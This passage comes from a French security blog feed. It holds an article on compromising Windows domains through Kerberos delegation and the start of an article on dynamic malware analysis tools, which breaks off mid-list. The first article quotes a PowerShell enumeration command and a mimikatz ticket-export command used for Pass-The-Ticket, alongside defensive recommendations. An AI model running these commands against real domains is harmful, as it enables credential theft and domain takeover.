<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Lors de la première étape de ce schéma, l’utilisateur effectue une demande de TGT auprès du contrôleur de domaine, en lui transmettant un <em>timestamp</em> chiffré avec le hash NTLM de son mot de passe. Après avoir validé son identité, le contrôleur de domaine fournit un TGT à l’utilisateur (étape 2), comme il le ferait pour une authentification Kerberos classique.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Pour s’authentifier auprès de l’application SharePoint, l’utilisateur demande alors un TGS au contrôleur de domaine, en lui fournissant le TGT précédemment récupéré (étape 3). Dans le cas d’une délégation Kerberos non contrainte, le contrôleur de domaine construit le TGS de l’utilisateur à partir de son TGT, qu’il chiffre à l’aide du hash NTLM du mot de passe du compte de service utilisé par l’application SharePoint (étape 4).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisateur s’authentifie alors sur l’application SharePoint (étape 5) en transmettant le TGS que lui a fourni le contrôleur de domaine lors de l’étape précédente.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le compte de service de l’application SharePoint peut déchiffrer ce TGS étant donné qu’il est chiffré avec son propre hash. Il récupère ainsi le TGT de l’utilisateur, qu’il peut fournir au contrôleur de domaine pour effectuer une demande de TGS pour le serveur de fichier (étape 6). Le TGT étant celui de l’utilisateur, le TGS renvoyé par le contrôleur de domaine (étape 7) représente son identité, et non celle du compte de service.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le compte de service de l’application SharePoint peut alors transmettre ce TGS (étape 8), que le serveur de fichiers validera comme s’il provenait de l’utilisateur lui-même, donnant accès au document demandé (étape 9).  Ayant récupéré ce document, l’application SharePoint peut le fournir à l’utilisateur, pour lequel les phases d’authentification intermédiaires auront été transparentes.</p>
<h2 data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les délégations Kerberos contraintes</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans le cas d’une délégation Kerberos contrainte, deux extensions de protocole sont utilisées pour permettre à une application de réutiliser l’identité de l’un de ses utilisateurs :</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">S4U2Self (Server-for-User-to-Self) qui autorise un service à obtenir un TGS pour lui-même en tant qu’un utilisateur.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">S4U2Proxy (Server-for-User-to-Proxy) qui autorise un service à obtenir un TGS pour un autre service en tant qu’un utilisateur.</p>
<p data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">La cinématique d’authentification et d’accès aux ressources dans le cas d’une telle délégation est alors la suivante :</p>
<figure id="post-15804 media-15804" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15804 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5.png" alt="" width="734" height="325" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5.png 734w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-431x191.png 431w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/5-71x31.png 71w" sizes="auto, (max-width: 734px) 100vw, 734px" /></figure>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans la première étape de cette cinématique, l’utilisateur s’authentifie après du premier service en lui transmettant ses identifiants. L’authentification n’utilisant pas Kerberos, l’utilisateur n’a pas besoin de s’authentifier auprès du contrôleur de domaine.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Le compte de service demande alors un TGS représentant l’identité de l’utilisateur et permettant de s’authentifier auprès de son propre service (étape 2). Le compte de service possédant l’extension S4U2Self, le contrôleur de domaine accorde ce ticket (étape 3).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Ce même compte de service demande ensuite un TGS représentant l’identité de l’utilisateur et permettant de s’authentifier auprès du second service (étape 4). Après validation de l’extension S4U2Proxy, le contrôleur de domaine accorde ce TGS (étape 5)</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Grâce à ce second ticket de service, le compte de service du SharePoint peut accéder aux ressources du serveur de fichier avec l’identité de l’utilisateur (étape 6). Le serveur de fichiers valide les privilèges de l’utilisateur, et transmet le document demandé au compte de service SharePoint (étape 7), qui le transmet à l’utilisateur (étape 8).</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Contrairement au cas des délégations non contraintes, l’utilisation de l’extension de protocole S4U2Proxy permet de spécifier les services accessibles au compte de service SharePoint. Ainsi, même si l’utilisateur dispose des privilèges nécessaires pour accéder à un autre serveur, le compte de service ne pourra récupérer de TGS valide représentant l’identité de l’utilisateur. Dans le cas d’une délégation contrainte, cette restriction se fait à l’aide d’un paramètre du compte de service, appelé SPN pour <em>Service Principal Name</em>.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Il est à noter que depuis la version Serveur 2012 du système d’exploitation Windows, un troisième type de délégation Kerberos est proposée, les délégations Kerberos contraintes basées sur les ressources. Le fonctionnement de ces délégations est similaire à celui des délégations contraintes, mais la restriction est effectuée en spécifiant explicitement le compte ayant accès aux ressources.</p>
<h2 data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Exploiter les délégations non contraintes</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les faiblesses induites par les délégations Kerberos non-contraintes sont connues depuis plusieurs années. Sean Metcalf a, par exemple, présenté les dangers de telles délégations à la Black Hat USA 2015. Dans la cinématique d’authentification présentée précédemment, il est en effet évident que le compte de service de l’application SharePoint peut, une fois que l’utilisateur lui a transmis un TGS contenant son TGT, accéder à l’ensemble des services pour lesquels l’utilisateur dispose de privilèges nécessaires.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’objectif d’un attaquant est alors d’obtenir le TGT d’un administrateur du domaine, ce qui lui permet de se connecter au contrôleur de domaine avec les privilèges maximum pour changer le mot de passe du compte <em>krbtgt </em>afin de pouvoir forger ses propres tickets à la demande.</p>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Pour parvenir à cela, il est d’abord nécessaire d’identifier les services qui disposent de délégations non contraintes. Pour cela, il suffit de filtrer les objets de l’Active Directory à la recherche de paramètres <em>TrustedForDelegation </em>valant <em>True</em>. Ce paramètre indique en effet la présence d’une délégation non contrainte, et est de plus accessible sans privilège particulier, par exemple à l’aide de la commande <em>Get-ADComputer</em> du module <em>ActiveDirectory </em>:</p>
<table class="MsoNormalTable" style="background: #dacdeb; border-collapse: collapse; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-yfti-tbllook: 1184;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 551.5pt;" valign="top" width="735">
<div class="MsoNormal" style="mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly; text-align: justify;">
<div style="text-align: left;"><span lang="EN-GB"><span style="font-family: 'courier new' , 'courier' , monospace;">PS C:\&gt; Import-Module ActiveDirectory</span></span></div>
</div>
<div class="MsoNormal" style="mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly; text-align: justify;">
<div style="text-align: left;"><span style="font-family: inherit;"><span lang="EN-GB"><span style="font-family: 'courier new' , 'courier' , monospace;">PS C:\&gt; Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}</span></span></span></div>
</div>
</td>
</tr>
</tbody>
</table>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Une fois les services disposant d’une délégation Kerberos non contrainte identifiés, il est nécessaire d’obtenir des privilèges administrateur sur l’un des serveurs sur lesquels ils sont utilisés. Les méthodes de compromission classiques peuvent alors être utilisées, mais ne seront pas abordées dans cet article.</p>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">En cas d’accès au service par un administrateur du domaine, l’attaquant sera en mesure d’extraire le TGS fourni à l’aide par exemple de l’outil <em>mimikatz </em>et de la commande suivante :</p>
<table class="MsoNormalTable" style="background: #dacdeb; border-collapse: collapse; mso-padding-alt: 0cm 0cm 0cm 0cm; mso-yfti-tbllook: 1184;" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 551.5pt;" valign="top" width="735">
<div class="MsoNormal" style="mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly; text-align: justify;">
<div style="text-align: left;"><span style="font-family: inherit;"><span style="font-family: 'courier new' , 'courier' , monospace;">mimikatz # kerberos::list /export</span></span></div>
</div>
</td>
</tr>
</tbody>
</table>
<p style="font-weight: 400; text-align: left;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Comme indiqué dans le scénario d’authentification, ce TGS contient le TGT de l’administrateur, que l’attaquant pourra extraire afin de réaliser une attaque <em>Pass-The-Ticket</em> pour se connecter au contrôleur de domaine.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Les recommandations pour protéger un domaine d’une telle attaque sont alors les suivantes :</p>
<ul>
<li>Utiliser des délégations Kerberos contraintes qui sont plus restrictives</li>
<li>Configurer l’ensemble des comptes à privilèges avec le paramètre « Le compte est sensible et ne peut être délégué » qui empêche la réutilisation de l’identité du compte par une application possédant une délégation</li>
</ul>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Dans le cas d’un domaine au niveau fonctionnel supérieur à Windows Serveur 2012 R2, le groupe de sécurité « Utilisateurs protégés » peut être utilisé pour les comptes à privilèges étant donné que les délégations ne sont pas autorisées pour les comptes de ce groupe.</p>
<h2>Qu’en est-il des délégations contraintes ?</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisation de délégations contraintes semble être une alternative plus sécurisée. Cependant, différents éléments sont à noter concernant ce mécanisme d’authentification, comme l’a présenté Matan Hart lors de la Black Hat 2017. En effet, les deux extensions de protocole utilisées ont été pensées avec les principes suivants :</p>
<ul>
<li>Les deux extensions permettent à un service Kerberos d’obtenir des TGS sans même que l’utilisateur n’ait besoin de s’authentifier auprès du contrôleur de domaine.</li>
<li>L’extension S4U2Self permet au service d’obtenir un TGS pour l’utilisateur sans qu’aucun mot de passe ne soit nécessaire.</li>
</ul>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">De ce fait, un service qui possèderait les deux extensions pourrait obtenir un TGS pour n’importe quel autre service en se faisant passer pour un utilisateur, et ce sans nécessiter son mot de passe.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Matan Hart a publié son outil « Mystique[1] » qui permet d’identifier des configurations à risque pour les délégations. Pour cela, il liste les comptes qui disposent du paramètre <em>TrustedToAuthForDelegation </em>valant True, indiquant une délégation contrainte, ainsi que d’un paramètre <em>MsDS-AllowedToDelegateTo</em> non nul, indiquant l’utilisation d’un SPN, ce qui est obligatoire pour les comptes de délégation.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Il est également à noter que les TGS sont validés selon deux critères, le hash du mot de passe de l’utilisateur, et le SPN possédé par le compte de service qui possède la délégation contrainte. En cas de multiples SPNs associés à un même compte de service, et de mot de passe partagé entre différents comptes, les tickets pour deux services distincts seront complétement interchangeables, ce qui pourrait permettre à un service de réutiliser l’identité d’un utilisateur de manière illégitime.</p>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">Ces faiblesses ne sont pas considérées comme des vulnérabilités par Microsoft, et ne sont donc pas amenées à changer. Lors de la création d’une délégation Kerberos contrainte, il est alors nécessaire de faire attention aux points suivants pour se protéger des attaques :</p>
<ul>
<li>Configurer les services à l’aide de comptes de service dédiés, évitant ainsi le partage des comptes qui pourrait aboutir à des tickets interchangeables. Il est également important d’assurer une bonne complexité des mots de passe, ainsi qu’une rotation régulière.</li>
<li>Configurer des SPNs uniques comme étant autorisés pour la délégation, en évitant les SPNs par défaut de Microsoft, et en spécifiant les ports utilisés.</li>
<li>Comme pour les délégations non contraintes, configurer les comptes à privilèges comme étant des comptes sensibles ne pouvant être délégués.</li>
</ul>
<h2>Conclusion</h2>
<p style="font-weight: 400;" data-original-attrs="{&quot;style&quot;:&quot;mso-element-anchor-horizontal: column; mso-element-anchor-vertical: paragraph; mso-element-frame-hspace: .75pt; mso-element-wrap: around; mso-element: frame; mso-height-rule: exactly;&quot;}">L’utilisation de délégations contraintes n’est pas totalement à proscrire. Il est cependant nécessaire de bien maitriser leur configuration et les ressources auxquelles elles permettent d’accéder afin d’éviter les travers détaillés dans cet article.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2017/04/compromission-domaine-windows-delegation-kerberos/">Compromission d’un domaine Windows à l’aide des délégations Kerberos</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Reverse Engineering &#8211; focus sur l’analyse dynamique de malware</title>
		<link>https://www.riskinsight-wavestone.com/en/2016/06/reverse-engineering-focus-sur-lanalyse/</link>
		
		<dc:creator><![CDATA[Vincent Nguyen]]></dc:creator>
		<pubDate>Tue, 21 Jun 2016 16:57:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[analyse dynamique]]></category>
		<category><![CDATA[audit]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15773</guid>

					<description><![CDATA[<p>L’analyse dynamique d’un fichier correspond à analyser l’exécution de ce fichier. Cette analyse permet alors de déterminer le comportement réel du malware, là où certains éléments de l’analyse statique peuvent être présents uniquement pour détourner l’attention de l’analyste, ou lui...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2016/06/reverse-engineering-focus-sur-lanalyse/">Reverse Engineering &#8211; focus sur l’analyse dynamique de malware</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<div style="margin-left: 1em; margin-right: 1em;"></div>
</div>
<div style="text-align: justify;">L’analyse dynamique d’un fichier correspond à analyser l’exécution de ce fichier. Cette analyse permet alors de déterminer le comportement réel du <i>malware</i>, là où certains éléments de l’analyse statique peuvent être présents uniquement pour détourner l’attention de l’analyste, ou lui compliquer la tâche.</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-left: 0cm; margin-top: 5px;">
<div style="text-align: justify;">Une première forme d’analyse dynamique correspond à l’exécution du <i>malware</i> et à l’observation des modifications qu’il entraine sur le système. Cette analyse a le plus souvent pour but de déterminer les actions à effectuer pour supprimer le <i>malware</i>, et/ou créer une signature.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-left: 0cm; margin-top: 5px;">
<div style="text-align: justify;"><i><span style="mso-fareast-language: FR;">Attention, </span>ce type d’analyse doit absolument être fait dans un environnement contrôlé (machine virtuelle, poste dédié et déconnecté du SI, etc.) afin de ne pas risquer la propagation de l’infection.</i></div>
</div>
<h2 style="margin-bottom: 15px; margin-top: 25px; text-align: justify;"><span style="mso-list: Ignore;">1)<span style="font: 7pt 'Times New Roman';">     </span></span>Analyse des opérations</h2>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">L’analyse dynamique permet la surveillance de nombreuses informations : les registres, le système de fichiers et les processus<i>. </i>Cette étape est au début assez fastidieuse étant donné que de nombreuses informations sont accessibles. Il existe différents outils permettant d’accéder à ces informations.<i> ProcessMonitor</i> est l’un de ces outils qui a l’avantage de permettre à l’analyste de filtrer ses recherches sur un exécutable, ce qui est très pratique pour l’analyse de <i>malwares</i>.</div>
<div style="text-align: center;">
<figure id="post-15774 media-15774" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15774 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2.jpg" alt="" width="604" height="163" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2.jpg 604w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-437x118.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-71x19.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-2-600x163.jpg 600w" sizes="auto, (max-width: 604px) 100vw, 604px" /></figure>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
</div>
<p><i>Figure 1 : Résultat d’une analyse de ProcessMonitor sur un malware appelé mm32.exe</i></p>
</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">L’analyse de ces différents éléments permet à l’analyste d’avoir une meilleure compréhension de l’activité du <i>malware</i>. Cependant, étant donné le nombre d’informations renvoyées par <i>ProcessMonitor</i> dont la plupart représentent des évènements standards du lancement d’un exécutable, l’analyse demande beaucoup de pratique et de la patience.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Un autre outil permettant une analyse poussée des processus est <i>Process Explorer</i>. Il permet de lister les processus, les bibliothèques chargées par un processus, différentes informations sur ces processus, ainsi que des informations globales sur le système. L’avantage de cet outil est qu’il présente les informations sous forme d’arbre, exposant ainsi les relations entre les processus parents et enfants.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Les informations que <i>Process Explorer</i> renvoie sont le nom du processus, le PID (numéro d’identification du processus), l’utilisation du CPU, une description ainsi que le nom de l’entreprise ayant créé le binaire (champs laissés libres au créateur du binaire…). Par défaut les services sont surlignés en rose, les processus en bleu, les nouveaux processus en vert et les processus terminés en rouge. La vue se met alors à jour à chaque seconde. Lors de l’analyse de <i>malware</i> il est donc intéressant de repérer les différents processus qui sont modifiés ou créés afin de pouvoir enquêter dessus de manière plus approfondie.</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div style="text-align: center;">
<figure id="post-15776 media-15776" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15776 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3.jpg" alt="" width="605" height="454" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3-255x191.jpg 255w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-3-52x39.jpg 52w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 2 : Résultat de Process Explorer sur un exécutable</i></p>
</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Ces techniques sont très efficaces pour comprendre ce que fait un exécutable, mais il ne faut pas négliger leur utilité pour déterminer si un document est malveillant ou non. Un moyen rapide de savoir si un PDF est malveillant, par exemple, est de lancer <i>Process Explorer</i> puis d’ouvrir le PDF et de regarder si de nouveaux processus sont créés.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;"><u>Remarque :</u> Pour l’analyse de documents, il est souvent intéressant d’utiliser des versions intentionnellement non <i>patchées</i> des logiciels afin de s’assurer que l’attaque est efficace. Une bonne manière de faire cela est par exemple de créer plusieurs <i>snapshots</i> d’une machine virtuelle d’analyse, chaque <i>snapshot</i> ayant une version différente, et généralement assez âgée, des logiciels.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Pour l’analyse de registres, l’outil <i>Regshot</i> permet de comparer les registres sur deux <i>snapshots </i>différents. Un extrait de résultat de <i>Regshot</i> peut ressembler à la figure 3.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Dans ce résultat, le premier constat est la création d’un mécanisme de persistance <i>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</i> par le programme <i>ckr.exe</i>, le deuxième est la modification<i> </i>de la valeur de la <i>seed</i> pour le générateur de nombre aléatoire, ce qui représente un bruit habituel.</div>
<div style="text-align: center;">
<figure id="post-15778 media-15778" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15778 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4.jpg" alt="" width="605" height="460" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4-251x191.jpg 251w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4-51x39.jpg 51w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 3 : Extrait de résultat de Regshot après lancement du programme ckr.exe</i></p>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<h2 style="margin-bottom: 15px; margin-top: 25px; text-align: justify;"><span style="mso-list: Ignore;">2)<span style="font: 7pt 'Times New Roman';">     </span></span>Analyse réseau</h2>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">De nombreux <i>malwares</i> récupèrent des ressources ou transmettent des informations sur le réseau (en particulier vers des serveurs C2 « Command &amp; Control »). De ce fait il est très intéressant de réaliser une analyse réseau pour déterminer les actions du <i>malware</i>. L’environnement d’analyse n’étant pas connecté à internet, il se peut qu’une partie des fonctionnalités du <i>malware</i> restent non accessibles. Cependant il est préférable de récupérer de telles informations en faisant une analyse manuelle approfondie plutôt que de permettre au <i>malware</i> de se propager (une sortie directe vers Internet peut néanmoins être fortement utile aux équipes d’analyse).</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Quelques outils peuvent permettre d’effectuer une analyse réseau d’un <i>malware</i> :</div>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;"><i>ApateDNS</i> permet de récupérer les requêtes DNS faites par le <i>malware</i>. Il permet également de simuler les réponses d’une adresse IP spécifiée en écoutant sur le port 53 de la machine locale <i>via</i> le protocole UDP. Il affiche alors les requêtes reçues en hexadécimal ou en ASCII. Par défaut <i>ApateDNS</i> utilise la passerelle (<i>gateway</i>) ou les paramètres de DNS courants dans les réponses DNS.</li>
</ul>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<figure id="post-15780 media-15780" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15780 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5.png" alt="" width="605" height="439" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5-54x39.png 54w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 4 : Interception des requêtes DNS et simulation des réponses par ApateDNS en utilisant l’IP 192.168.120.1</i></p>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
